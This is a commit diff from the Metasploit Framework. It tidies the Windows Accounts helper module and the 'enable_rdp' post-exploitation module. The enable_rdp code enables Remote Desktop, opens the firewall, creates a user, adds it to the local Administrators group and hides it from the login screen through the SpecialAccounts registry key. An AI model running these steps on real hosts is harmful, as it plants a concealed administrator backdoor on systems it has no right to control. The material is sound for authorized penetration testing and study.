Land #8873, cleanup enable_rdp, add error handling

bug/bundler_fix
Brent Cook 2017-08-28 05:50:42 -05:00
commit 1e8edb377f
No known key found for this signature in database
GPG Key ID: 1FFAA0B24B708F96
2 changed files with 368 additions and 350 deletions

View File

@ -3,336 +3,342 @@
require 'msf/core/post/windows/error'
module Msf
class Post
module Windows
class Post
module Windows
module Accounts
include Msf::Post::Windows::Error
module Accounts
include Msf::Post::Windows::Error
GUID = [
['Data1', :DWORD],
['Data2', :WORD],
['Data3', :WORD],
['Data4', 'BYTE[8]']
].freeze
GUID = [
['Data1',:DWORD],
['Data2',:WORD],
['Data3',:WORD],
['Data4','BYTE[8]']
]
DOMAIN_CONTROLLER_INFO = [
['DomainControllerName', :LPSTR],
['DomainControllerAddress', :LPSTR],
['DomainControllerAddressType', :ULONG],
['DomainGuid', GUID],
['DomainName', :LPSTR],
['DnsForestName', :LPSTR],
['Flags', :ULONG],
['DcSiteName', :LPSTR],
['ClientSiteName', :LPSTR]
].freeze
DOMAIN_CONTROLLER_INFO = [
['DomainControllerName',:LPSTR],
['DomainControllerAddress',:LPSTR],
['DomainControllerAddressType',:ULONG],
['DomainGuid',GUID],
['DomainName',:LPSTR],
['DnsForestName',:LPSTR],
['Flags',:ULONG],
['DcSiteName',:LPSTR],
['ClientSiteName',:LPSTR]
]
##
# get_domain(server_name = nil)
#
# Summary:
# Retrieves the current DomainName the given server is
# a member of.
#
# Parameters
# server_name - DNS or NetBIOS name of the remote server
# Returns:
# The DomainName of the remote server or nil if windows
# could not retrieve the DomainControllerInfo or encountered
# an exception.
#
##
def get_domain(server_name = nil)
domain = nil
result = session.railgun.netapi32.DsGetDcNameA(
server_name,
nil,
nil,
nil,
0,
4
)
##
# get_domain(server_name=nil)
#
# Summary:
# Retrieves the current DomainName the given server is
# a member of.
#
# Parameters
# server_name - DNS or NetBIOS name of the remote server
# Returns:
# The DomainName of the remote server or nil if windows
# could not retrieve the DomainControllerInfo or encountered
# an exception.
#
##
def get_domain(server_name=nil)
domain = nil
result = session.railgun.netapi32.DsGetDcNameA(
server_name,
nil,
nil,
nil,
0,
4)
begin
dc_info_addr = result['DomainControllerInfo']
unless dc_info_addr == 0
dc_info = session.railgun.util.read_data(DOMAIN_CONTROLLER_INFO, dc_info_addr)
pointer = session.railgun.util.unpack_pointer(dc_info['DomainName'])
domain = session.railgun.util.read_string(pointer)
end
ensure
session.railgun.netapi32.NetApiBufferFree(dc_info_addr)
end
begin
dc_info_addr = result['DomainControllerInfo']
unless dc_info_addr == 0
dc_info = session.railgun.util.read_data(DOMAIN_CONTROLLER_INFO, dc_info_addr)
pointer = session.railgun.util.unpack_pointer(dc_info['DomainName'])
domain = session.railgun.util.read_string(pointer)
end
ensure
session.railgun.netapi32.NetApiBufferFree(dc_info_addr)
end
domain
end
domain
end
##
# delete_user(username, server_name = nil)
#
# Summary:
# Deletes a user account from the given server (or local if none given)
#
# Parameters
# username - The username of the user to delete (not-qualified, e.g. BOB)
# server_name - DNS or NetBIOS name of remote server on which to delete user
#
# Returns:
# One of the following:
# :success - Everything went as planned
# :invalid_server - The server name provided was invalid
# :not_on_primary - Operation allowed only on domain controller
# :user_not_found - User specified does not exist on the given server
# :access_denied - You do not have permission to delete the given user
#
# OR nil if there was an exceptional Windows error (example: ran out of memory)
#
# Caveats:
# nil is returned if there is an *exceptional* Windows error. That error is printed.
# Everything other than ':success' signifies failure
##
def delete_user(username, server_name = nil)
deletion = client.railgun.netapi32.NetUserDel(server_name, username)
##
# delete_user(username, server_name = nil)
#
# Summary:
# Deletes a user account from the given server (or local if none given)
#
# Parameters
# username - The username of the user to delete (not-qualified, e.g. BOB)
# server_name - DNS or NetBIOS name of remote server on which to delete user
#
# Returns:
# One of the following:
# :success - Everything went as planned
# :invalid_server - The server name provided was invalid
# :not_on_primary - Operation allowed only on domain controller
# :user_not_found - User specified does not exist on the given server
# :access_denied - You do not have permission to delete the given user
#
# OR nil if there was an exceptional windows error (example: ran out of memory)
#
# Caveats:
# nil is returned if there is an *exceptional* windows error. That error is printed.
# Everything other than ':success' signifies failure
##
def delete_user(username, server_name = nil)
deletion = client.railgun.netapi32.NetUserDel(server_name, username)
# http://msdn.microsoft.com/en-us/library/aa370674.aspx
case deletion['return']
when 2221 # NERR_UserNotFound
return :user_not_found
when 2351 # NERR_InvalidComputer
return :invalid_server
when 2226 # NERR_NotPrimary
return :not_on_primary
when client.railgun.const('ERROR_ACCESS_DENIED')
return :access_denied
when 0
return :success
else
error = deletion['GetLastError']
if error != 0
print_error "Unexpected Windows System Error #{error}"
else
# Uh... we shouldn't be here
print_error "DeleteUser unexpectedly returned #{deletion['return']}"
end
end
#http://msdn.microsoft.com/en-us/library/aa370674.aspx
case deletion['return']
when 2221 # NERR_UserNotFound
return :user_not_found
when 2351 # NERR_InvalidComputer
return :invalid_server
when 2226 # NERR_NotPrimary
return :not_on_primary
when client.railgun.const('ERROR_ACCESS_DENIED')
return :access_denied
when 0
return :success
else
error = deletion['GetLastError']
if error != 0
print_error "Unexpected Windows System Error #{error}"
else
# Uh... we shouldn't be here
print_error "DeleteUser unexpectedly returned #{deletion['return']}"
end
end
# If we got here, then something above failed
nil
end
# If we got here, then something above failed
return nil
end
##
# resolve_sid(sid, system_name = nil)
#
# Summary:
# Retrieves the name, domain, and type of account for the given sid
#
# Parameters:
# sid - A SID string (e.g. S-1-5-32-544)
# system_name - Where to search. If nil, first local system then trusted DCs
#
# Returns:
# {
# name: account name (e.g. "SYSTEM")
# domain: domain where the account name was found. May have values such as
# the work station's name, BUILTIN, NT AUTHORITY, or an empty string
# type: one of :user, :group, :domain, :alias, :well_known_group,
# :deleted_account, :invalid, :unknown, :computer
# mapped: There was a mapping found for the SID
# }
#
# OR nil if there was an exceptional Windows error (example: ran out of memory)
#
# Caveats:
# If a valid mapping is not found, only { mapped: false } will be returned
# nil is returned if there is an *exceptional* Windows error. That error is printed.
# If an invalid system_name is provided, there will be a Windows error and nil returned
##
def resolve_sid(sid, system_name = nil)
adv = client.railgun.advapi32
# Second param is the size of the buffer where the pointer will be written
# In railgun, if you specify 4 bytes for a PDWORD it will grow to 8, as needed.
conversion = adv.ConvertStringSidToSidA(sid, 4)
##
# resolve_sid(sid, system_name = nil)
#
# Summary:
# Retrieves the name, domain, and type of account for the given sid
#
# Parameters:
# sid - A SID string (e.g. S-1-5-32-544)
# system_name - Where to search. If nil, first local system then trusted DCs
#
# Returns:
# {
# :name => account name (e.g. "SYSTEM")
# :domain => domain where the account name was found. May have values such as
# the work station's name, BUILTIN, NT AUTHORITY, or an empty string
# :type => one of :user, :group, :domain, :alias, :well_known_group,
# :deleted_account, :invalid, :unknown, :computer
# :mapped => There was a mapping found for the SID
# }
#
# OR nil if there was an exceptional windows error (example: ran out of memory)
#
# Caveats:
# If a valid mapping is not found, only { :mapped => false } will be returned
# nil is returned if there is an *exceptional* windows error. That error is printed.
# If an invalid system_name is provided, there will be a windows error and nil returned
##
def resolve_sid(sid, system_name = nil)
adv = client.railgun.advapi32;
# If the call failed, handle errors accordingly.
unless conversion['return']
error = conversion['GetLastError']
# Second param is the size of the buffer where the pointer will be written
# In railgun, if you specify 4 bytes for a PDWORD it will grow to 8, as needed.
conversion = adv.ConvertStringSidToSidA(sid, 4)
case error
when client.railgun.const('ERROR_INVALID_SID')
# An invalid SID was supplied
return { type: :invalid, mapped: false }
when client.railgun.const('ERROR_NONE_MAPPED')
# There were no accounts associated with this SID
return { mapped: false }
else
print_error "Unexpected Windows error #{error} resolving SID #{sid}"
return nil
end
end
# If the call failed, handle errors accordingly.
unless conversion['return']
error = conversion['GetLastError']
psid = conversion['pSid']
case error
when client.railgun.const('ERROR_INVALID_SID')
# An invalid SID was supplied
return { :type => :invalid, :mapped => false }
else
print_error "Unexpected windows error #{error}"
return nil
end
end
# Begin/Ensure so we free the pSid buffer...
begin
# A reference to the SID data structure. Generally needed when working with sids
psid = conversion['pSid']
# http://msdn.microsoft.com/en-us/library/aa379166(v=vs.85).aspx
lp_name = lp_referenced_domain_name = 100
cch_name = cch_referenced_domain_name = 100
lookup = adv.LookupAccountSidA(
system_name,
psid,
lp_name,
cch_name,
lp_referenced_domain_name,
cch_referenced_domain_name,
1
)
# Begin/Ensure so we free the pSid buffer...
begin
# A reference to the SID data structure. Generally needed when working with sids
if !lookup['return'] && lookup['GetLastError'] == INSUFFICIENT_BUFFER
lp_name = cch_name = lookup['cchName']
lp_referenced_domain_name = cch_referenced_domain_name = lookup['cchReferencedDomainName']
# http://msdn.microsoft.com/en-us/library/aa379166(v=vs.85).aspx
lp_name = lp_referenced_domain_name = 100
cch_name = cch_referenced_domain_name = 100
lookup = adv.LookupAccountSidA(system_name,
psid,
lp_name,
cch_name,
lp_referenced_domain_name,
cch_referenced_domain_name,
1)
lookup = adv.LookupAccountSidA(
system_name,
psid,
lp_name,
cch_name,
lp_referenced_domain_name,
cch_referenced_domain_name,
1
)
if !lookup['return'] && lookup['GetLastError'] == INSUFFICIENT_BUFFER
lp_name = cch_name = lookup['cchName']
lp_referenced_domain_name = cch_referenced_domain_name = lookup['cchReferencedDomainName']
elsif !lookup['return']
print_error "Unexpected Windows error #{lookup['GetLastError']}"
return nil
end
ensure
# We no longer need the sid so free it.
adv.FreeSid(psid)
end
lookup = adv.LookupAccountSidA(system_name,
psid,
lp_name,
cch_name,
lp_referenced_domain_name,
cch_referenced_domain_name,
1)
elsif !lookup['return']
print_error "Unexpected windows error #{lookup['GetLastError']}"
return nil
end
ensure
# We no longer need the sid so free it.
adv.FreeSid(psid)
end
# If the call failed, handle errors accordingly.
unless lookup['return']
error = lookup['GetLastError']
# If the call failed, handle errors accordingly.
unless lookup['return']
error = lookup['GetLastError']
case error
when client.railgun.const('ERROR_INVALID_PARAMETER')
# Unless the railgun call is broken, this means revision is wrong
return { type: :invalid }
when client.railgun.const('ERROR_NONE_MAPPED')
# There were no accounts associated with this SID
return { mapped: false }
else
print_error "Unexpected Windows error #{error} resolving SID #{sid}"
return nil
end
end
case error
when client.railgun.const('ERROR_INVALID_PARAMETER')
# Unless the railgun call is broken, this means revision is wrong
return { :type => :invalid }
when client.railgun.const('ERROR_NONE_MAPPED')
# There were no accounts associated with this SID
return { :mapped => false }
else
print_error "Unexpected windows error #{error}"
return nil
end
end
# peUse is the enum "SID_NAME_USE"
sid_type = lookup_SID_NAME_USE(lookup['peUse'].unpack('C')[0])
# peUse is the enum "SID_NAME_USE"
sid_type = lookup_SID_NAME_USE(lookup['peUse'].unpack('C')[0])
return {
name: lookup['Name'],
domain: lookup['ReferencedDomainName'],
type: sid_type,
mapped: true
}
end
return {
:name => lookup['Name'],
:domain => lookup['ReferencedDomainName'],
:type => sid_type,
:mapped => true
}
end
private
private
##
# Converts a WinAPI's SID_NAME_USE enum to a symbol
# Symbols are (in order) :user, :group, :domain, :alias, :well_known_group,
# :deleted_account, :invalid, :unknown, :computer
##
def lookup_SID_NAME_USE(enum_value)
[
# SidTypeUser = 1
:user,
# SidTypeGroup,
:group,
# SidTypeDomain,
:domain,
# SidTypeAlias,
:alias,
# SidTypeWellKnownGroup,
:well_known_group,
# SidTypeDeletedAccount,
:deleted_account,
# SidTypeInvalid,
:invalid,
# SidTypeUnknown,
:unknown,
# SidTypeComputer,
:computer,
# SidTypeLabel
:integrity_label
][enum_value - 1]
end
##
# Converts a WinAPI's SID_NAME_USE enum to a symbol
# Symbols are (in order) :user, :group, :domain, :alias, :well_known_group,
# :deleted_account, :invalid, :unknown, :computer
##
def lookup_SID_NAME_USE(enum_value)
[
# SidTypeUser = 1
:user,
# SidTypeGroup,
:group,
#SidTypeDomain,
:domain,
#SidTypeAlias,
:alias,
#SidTypeWellKnownGroup,
:well_known_group,
#SidTypeDeletedAccount,
:deleted_account,
#SidTypeInvalid,
:invalid,
#SidTypeUnknown,
:unknown,
#SidTypeComputer,
:computer,
#SidTypeLabel
:integrity_label
][enum_value - 1]
end
# Gets an impersonation token from the primary token.
#
# @return [Integer] the impersonate token handle identifier if success, nil if
# fails
def get_imperstoken
adv = session.railgun.advapi32
tok_all = "TOKEN_ASSIGN_PRIMARY |TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | "
tok_all << "TOKEN_QUERY_SOURCE | TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS"
tok_all << " | TOKEN_ADJUST_DEFAULT"
# Gets an impersonation token from the primary token.
#
# @return [Integer] the impersonate token handle identifier if success, nil if
# fails
def get_imperstoken
adv = session.railgun.advapi32
tok_all = "TOKEN_ASSIGN_PRIMARY |TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | "
tok_all << "TOKEN_QUERY_SOURCE | TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS"
tok_all << " | TOKEN_ADJUST_DEFAULT"
pid = session.sys.process.open.pid
pr = session.sys.process.open(pid, PROCESS_ALL_ACCESS)
pt = adv.OpenProcessToken(pr.handle, tok_all, 4) # get handle to primary token
it = adv.DuplicateToken(pt["TokenHandle"], 2, 4) # get an impersonation token
if it["return"] # if it fails return 0 for error handling
return it["DuplicateTokenHandle"]
else
return nil
end
end
pid = session.sys.process.open.pid
pr = session.sys.process.open(pid, PROCESS_ALL_ACCESS)
pt = adv.OpenProcessToken(pr.handle, tok_all, 4) #get handle to primary token
it = adv.DuplicateToken(pt["TokenHandle"],2, 4) # get an impersonation token
if it["return"] #if it fails return 0 for error handling
return it["DuplicateTokenHandle"]
else
return nil
end
end
# Gets the permissions granted from the Security Descriptor of a directory
# to an access token.
#
# @param [String] dir the directory path
# @param [Integer] token the access token
# @return [String, nil] a String describing the permissions or nil
def check_dir_perms(dir, token)
adv = session.railgun.advapi32
si = "OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION"
result = ""
# Gets the permissions granted from the Security Descriptor of a directory
# to an access token.
#
# @param [String] dir the directory path
# @param [Integer] token the access token
# @return [String, nil] a String describing the permissions or nil
def check_dir_perms(dir, token)
adv = session.railgun.advapi32
si = "OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION"
result = ""
# define generic mapping structure
gen_map = [0, 0, 0, 0]
gen_map = gen_map.pack("V")
buffer_size = 500
#define generic mapping structure
gen_map = [0,0,0,0]
gen_map = gen_map.pack("V")
buffer_size = 500
# get Security Descriptor for the directory
f = adv.GetFileSecurityA(dir, si, buffer_size, buffer_size, 4)
if f['return'] && f["lpnLengthNeeded"] <= buffer_size
sd = f["pSecurityDescriptor"]
elsif f['GetLastError'] == 122 # ERROR_INSUFFICIENT_BUFFER
sd = adv.GetFileSecurityA(dir, si, f["lpnLengthNeeded"], f["lpnLengthNeeded"], 4)
elsif f['GetLastError'] == 2
vprint_error("The system cannot find the file specified: #{dir}")
return nil
else
vprint_error("#{f['ErrorMessage']}: #{dir}")
return nil
end
#get Security Descriptor for the directory
f = adv.GetFileSecurityA(dir, si, buffer_size, buffer_size, 4)
if (f['return'] and f["lpnLengthNeeded"] <= buffer_size)
sd = f["pSecurityDescriptor"]
elsif (f['GetLastError'] == 122) # ERROR_INSUFFICIENT_BUFFER
f = adv.GetFileSecurityA(dir, si, f["lpnLengthNeeded"], f["lpnLengthNeeded"], 4)
elsif (f['GetLastError'] == 2)
vprint_error("The system cannot find the file specified: #{dir}")
return nil
else
vprint_error("#{f['ErrorMessage']}: #{dir}")
return nil
end
# check for write access, called once to get buffer size
a = adv.AccessCheck(sd, token, "ACCESS_READ | ACCESS_WRITE", gen_map, 0, 0, 4, 8)
len = a["PrivilegeSetLength"]
#check for write access, called once to get buffer size
a = adv.AccessCheck(sd, token, "ACCESS_READ | ACCESS_WRITE", gen_map, 0, 0, 4, 8)
len = a["PrivilegeSetLength"]
r = adv.AccessCheck(sd, token, "ACCESS_READ", gen_map, len, len, 4, 8)
return nil if !r["return"]
result << "R" if r["GrantedAccess"] > 0
r = adv.AccessCheck(sd, token, "ACCESS_READ", gen_map, len, len, 4, 8)
if !r["return"] then return nil end
if r["GrantedAccess"] > 0 then result << "R" end
w = adv.AccessCheck(sd, token, "ACCESS_WRITE", gen_map, len, len, 4, 8)
return nil if !w["return"]
result << "W" if w["GrantedAccess"] > 0
w = adv.AccessCheck(sd, token, "ACCESS_WRITE", gen_map, len, len, 4, 8)
if !w["return"] then return nil end
if w["GrantedAccess"] > 0 then result << "W" end
result
end
end # Accounts
end # Windows
end # Post
result
end
end # Accounts
end # Windows
end # Post
end # Msf

View File

@ -10,33 +10,43 @@ class MetasploitModule < Msf::Post
include Msf::Post::Windows::Priv
include Msf::Post::File
def initialize(info={})
super( update_info( info,
'Name' => 'Windows Manage Enable Remote Desktop',
'Description' => %q{
This module enables the Remote Desktop Service (RDP). It provides the options to create
an account and configure it to be a member of the Local Administrators and
Remote Desktop Users group. It can also forward the target's port 3389/tcp.},
'License' => BSD_LICENSE,
'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ]
))
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Windows Manage Enable Remote Desktop',
'Description' => %q{
This module enables the Remote Desktop Service (RDP). It provides the options to create
an account and configure it to be a member of the Local Administrators and
Remote Desktop Users group. It can also forward the target's port 3389/tcp.},
'License' => BSD_LICENSE,
'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ]
)
)
register_options(
[
OptString.new('USERNAME', [ false, 'The username of the user to create.' ]),
OptString.new('PASSWORD', [ false, 'Password for the user created.' ]),
OptBool.new( 'ENABLE', [ false, 'Enable the RDP Service and Firewall Exception.', true]),
OptBool.new( 'FORWARD', [ false, 'Forward remote port 3389 to local Port.', false]),
OptInt.new( 'LPORT', [ false, 'Local port to forward remote connection.', 3389])
])
OptBool.new('ENABLE', [ false, 'Enable the RDP Service and Firewall Exception.', true]),
OptBool.new('FORWARD', [ false, 'Forward remote port 3389 to local Port.', false]),
OptInt.new('LPORT', [ false, 'Local port to forward remote connection.', 3389])
]
)
end
def run
if datastore['ENABLE'] or (datastore['USERNAME'] and datastore['PASSWORD'])
cleanup_rc = store_loot("host.windows.cleanup.enable_rdp", "text/plain", session,"" ,
"enable_rdp_cleanup.rc", "enable_rdp cleanup resource file")
if datastore['ENABLE'] || (datastore['USERNAME'] && datastore['PASSWORD'])
cleanup_rc = store_loot(
"host.windows.cleanup.enable_rdp",
"text/plain",
session,
"",
"enable_rdp_cleanup.rc",
"enable_rdp cleanup resource file"
)
if datastore['ENABLE']
if is_admin?
@ -46,9 +56,9 @@ class MetasploitModule < Msf::Post
print_error("Insufficient privileges, Remote Desktop Service was not modified")
end
end
if datastore['USERNAME'] and datastore['PASSWORD']
if datastore['USERNAME'] && datastore['PASSWORD']
if is_admin?
addrdpusr(datastore['USERNAME'], datastore['PASSWORD'],cleanup_rc)
addrdpusr(datastore['USERNAME'], datastore['PASSWORD'], cleanup_rc)
else
print_error("Insufficient privileges, account was not be created.")
end
@ -65,21 +75,20 @@ class MetasploitModule < Msf::Post
key = 'HKLM\\System\\CurrentControlSet\\Control\\Terminal Server'
value = "fDenyTSConnections"
begin
v = registry_getvaldata(key,value)
v = registry_getvaldata(key, value)
print_status "Enabling Remote Desktop"
if v == 1
print_status "\tRDP is disabled; enabling it ..."
registry_setvaldata(key,value,0,"REG_DWORD")
file_local_write(cleanup_rc,"reg setval -k \'HKLM\\System\\CurrentControlSet\\Control\\Terminal Server\' -v 'fDenyTSConnections' -d \"1\"")
registry_setvaldata(key, value, 0, "REG_DWORD")
file_local_write(cleanup_rc, "reg setval -k \'HKLM\\System\\CurrentControlSet\\Control\\Terminal Server\' -v 'fDenyTSConnections' -d \"1\"")
else
print_status "\tRDP is already enabled"
end
rescue::Exception => e
rescue StandardError => e
print_status("The following Error was encountered: #{e.class} #{e}")
end
end
def enabletssrv(cleanup_rc)
service_name = "termservice"
srv_info = service_info(service_name)
@ -87,32 +96,27 @@ class MetasploitModule < Msf::Post
print_status "Setting Terminal Services service startup mode"
if srv_info[:starttype] != START_TYPE_AUTO
print_status "\tThe Terminal Services service is not set to auto, changing it to auto ..."
unless (service_change_config(service_name, {:starttype => "START_TYPE_AUTO"}) == Windows::Error::SUCCESS)
unless service_change_config(service_name, starttype: "START_TYPE_AUTO") == Windows::Error::SUCCESS
print_error("\tUnable to change start type to Auto")
end
file_local_write(cleanup_rc,"execute -H -f cmd.exe -a \"/c sc config termservice start= disabled\"")
if (service_start(service_name) == Windows::Error::SUCCESS)
file_local_write(cleanup_rc, "execute -H -f cmd.exe -a \"/c sc config termservice start= disabled\"")
if service_start(service_name) == Windows::Error::SUCCESS
print_good("\tRDP Service Started")
end
file_local_write(cleanup_rc,"execute -H -f cmd.exe -a \"/c sc stop termservice\"")
file_local_write(cleanup_rc, "execute -H -f cmd.exe -a \"/c sc stop termservice\"")
else
print_status "\tTerminal Services service is already set to auto"
end
#Enabling Exception on the Firewall
# Enabling Exception on the Firewall
print_status "\tOpening port in local firewall if necessary"
cmd_exec('netsh', 'firewall set service type = remotedesktop mode = enable', 30)
file_local_write(cleanup_rc,"execute -H -f cmd.exe -a \"/c 'netsh firewall set service type = remotedesktop mode = enable'\"")
rescue::Exception => e
file_local_write(cleanup_rc, "execute -H -f cmd.exe -a \"/c 'netsh firewall set service type = remotedesktop mode = enable'\"")
rescue StandardError => e
print_status("The following Error was encountered: #{e.class} #{e}")
end
end
def addrdpusr(username, password,cleanup_rc)
rdu = resolve_sid("S-1-5-32-555")[:name]
admin = resolve_sid("S-1-5-32-544")[:name]
def addrdpusr(username, password, cleanup_rc)
print_status "Setting user account for logon"
print_status "\tAdding User: #{username} with Password: #{password}"
begin
@ -121,6 +125,19 @@ class MetasploitModule < Msf::Post
return
end
rdu_sid = resolve_sid("S-1-5-32-555")
admin_sid = resolve_sid("S-1-5-32-544")
if !rdu_sid[:mapped] || !admin_sid[:mapped]
print_error("\tThe Remote Desktop Users group is not mapped") if !rdu_sid[:mapped]
print_error("\tThe Administrators group is not mapped") if !admin_sid[:mapped]
print_error("\tNot adding user #{username}")
return
end
rdu = rdu_sid[:name]
admin = admin_sid[:name]
user_added = false
addusr_out = cmd_exec("cmd.exe", "/c net user #{username} #{password} /add")
@ -131,16 +148,16 @@ class MetasploitModule < Msf::Post
end
if user_added
file_local_write(cleanup_rc,"execute -H -f cmd.exe -a \"/c net user #{username} /delete\"")
file_local_write(cleanup_rc, "execute -H -f cmd.exe -a \"/c net user #{username} /delete\"")
print_status "\tAdding User: #{username} to local group '#{rdu}'"
cmd_exec("cmd.exe","/c net localgroup \"#{rdu}\" #{username} /add")
cmd_exec("cmd.exe", "/c net localgroup \"#{rdu}\" #{username} /add")
print_status "\tHiding user from Windows Login screen"
hide_user_key = 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList'
registry_setvaldata(hide_user_key,username,0,"REG_DWORD")
file_local_write(cleanup_rc,"reg deleteval -k HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\Winlogon\\\\SpecialAccounts\\\\UserList -v #{username}")
registry_setvaldata(hide_user_key, username, 0, "REG_DWORD")
file_local_write(cleanup_rc, "reg deleteval -k HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\Winlogon\\\\SpecialAccounts\\\\UserList -v #{username}")
print_status "\tAdding User: #{username} to local group '#{admin}'"
cmd_exec("cmd.exe","/c net localgroup #{admin} #{username} /add")
cmd_exec("cmd.exe", "/c net localgroup #{admin} #{username} /add")
print_status "You can now login with the created user"
else
print_error("Account could not be created")
@ -149,17 +166,12 @@ class MetasploitModule < Msf::Post
print_error("\t#{l.chomp}")
end
end
rescue ::Exception => e
rescue StandardError => e
print_status("The following Error was encountered: #{e.class} #{e}")
end
end
def check_user(user)
output = cmd_exec('cmd.exe', '/c net user')
if output.include?(user)
return true
end
false
cmd_exec('cmd.exe', '/c net user').include?(user)
end
end